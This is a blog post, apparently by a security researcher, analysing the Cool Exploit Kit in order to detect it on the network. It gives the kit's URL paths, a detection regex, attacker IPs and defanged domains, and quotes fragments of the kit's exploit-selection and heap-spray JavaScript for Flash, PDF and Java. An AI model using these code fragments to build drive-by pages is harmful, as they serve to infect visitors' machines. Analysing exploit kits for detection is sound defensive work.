Here, I will concentrate on how it is operating with an emphasis on detection based on URL structure. Please note, variants are possible and these may change, but as of now, this is what I am seeing. More to come, check back again.
Cool Exploit Kit URL Structure
The static entries in the observed Cool Exploit Kit contains the following URLs./32size_font.eot
/64size_font.eot
/media/field.swf
/media/pdf_new.php
/media/pdf_old.php
/media/score.swf
/media/new.jar
/media/file.jar
/bagdfssdb.jar
/flash.swf?info=[a-f0-9]{32,}
Binary Regex: \/[a-z]\/f\.php\?k=\d(&e=\d&f=\d)?$
(Credit Emergingthreats sid:2015873)
The current implementations of this exploit kit reside under single letter subdirectories. i.e. "/r/media" or "/t/media", but it appears any single letter is possible.
Known Repeat Offenders:
46.21.148.217
184.170.142.13
85.143.166.112
193.0.179.5
PluginDetect 0.7.9
<body onload='try{window.focus();}catch(e){}'>
var PluginDetect={
version:"0.7.9",
It is using plugin detect. It is doing the math and extracting the version numbers, I think we are all familiar with this (beating a dead horse).
JavaVersions:[[1,9,1,40],[1,8,1,40],[1,7,1,4
0],[1,6,0,40],[1,5,0,30],[1,4,2,30],[1,3,1,30]],query:function(){
var a=this,e=a.$,b=a.$$,c=(a.hasRun||a.disabled());
a.hasRun=1;
if(c){
return a}
var i=[],k=[1,5,0,14],j=[1,6,0,2],h=[1,3,1,0],g=[1,4,2,0],f=[1,5,0,7],d=b.getInfo?true:false,l={
};
Now, let's look deeper into what is it is asking for based on your versions:
Flash
function getCN(){ return "../media/score.swf"} function getBlockSize(){ return 1024} function getAllocSize(){ return 1024*1024} function getAllocCount(){ return 300} function getFillBytes(){ var a='%u'+'0c0c'; return a+a} function getShellCode(){Then we have this possibility
oSpan.innerHTML="<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'><param name='movie' value='../media/field.swf' />
<param name='movie' value='../media/flash.swf?info="+avmurl+"' /><embed src='../media/flash.swf?info="+avmurl+"' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>"}While leads to something like this:
hxxp://monstercompanionsbonuses.info/data/flash.swf?info=02e6b1525353caa8adb5b7b55154335730b4b55732b6b17e08e8888930f129f18f4889a8888f096949898e70487096a91637293629b67a4b726e7f
Ok great, we have score.swf, flash.swf?info= and field.swf. This is strangely familiar (rolling eyes).
Cool Exploit PDF Logic
In the PDF logic, if the version of Adobe detected is lower than 8, it sets a variable vver to "old", if it is greater than or equal to 8, it sets vver to new. The exploit is recognized as Adobe PDF Memory Corruption /Ff Dictionary Key CorruptionIif (pdf[0] < 8){
vver = "old";
setTimeout("FlashExploit()", 8003);
else if (pdf[0] == 8 || (pdf[0] == 9 && pdf[1] < 4)){
vver = "new";
setTimeout("FlashExploit()", 7004);
d.innerHTML = '<iframe src="../media/pdf_' + vver + '.php"></iframe>';
So now what does it do with this information?
It builds a URL "/media/pdf_ +vver + .pdf - so /media/pdf_new.php" or /media/pdf_old.php'
Now, let's look at the Java:
if (javax[1]==7){
variant = "new";
val1="0b0909041f";
val2="313109441a3a19041744093c0b32091a3a0044213a3c38383144312c3c040b043d1139270235391c022c391c";
else {
variant = "file";
val1="0b0909041f";
val2="313109441a3a19041744093c0b32091a3a0044213a3c38383144312c3c040b043d1139370235391c022c391c";
WIDTH="200" HEIGHT="200"><PARAM NAME="CODE" VALUE="bagdfssdb"><PARAM NAME="CODEBASE" VALUE="../media/"><PARAM NAME="ARCHIVE" VALUE="' + variant + '.jar"><param name="type" value="application/x-java-applet;version=1.6"><param name="val" value="'+val1+'"/><param name="prime" value="'+val2+'"/></object>';.Notice the "codebase" value = ../media/". Great.
So presumably, we should be looking for get requests containing "/media/", so each of these files resides under media, with the potential exception of some of the jar files whose structure appear to be built from parameters inside the exploit kit.
I also ran into hxxp://now.kitchenssinks.co.uk/t/media/new.jar
I am still looking into the predictability of additional jar files.
Binary:
So far, the only binary get request I have been able to observe is /f.php?k=. It should be noted that there are known variations with additional parameters which is represented well by Emergingthreats Regex \/[a-z]\/f\.php\?k=\d(&e=\d&f=\d)?$
Conclusion:
The Cool Exploit Kit can be detected in its current form. I hope to have more soon. As always, I welcome thoughts, comments and collaboration. @fknsecReferences:
http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html
http://threatpost.com/en_us/blogs/new-java-attack-introduced-cool-exploit-kit-111212
http://www.malwaredomainlist.com/forums/index.php?action=recent
http://www.avgthreatlabs.com/webthreats/info/cool-exploit-kit/
http://jsunpack.jeek.org/?report=6aa9697f44b5f61ba3cb76b64935694c351f35ff
http://doc.emergingthreats.net/bin/view/Main/2015887
No comments:
Post a Comment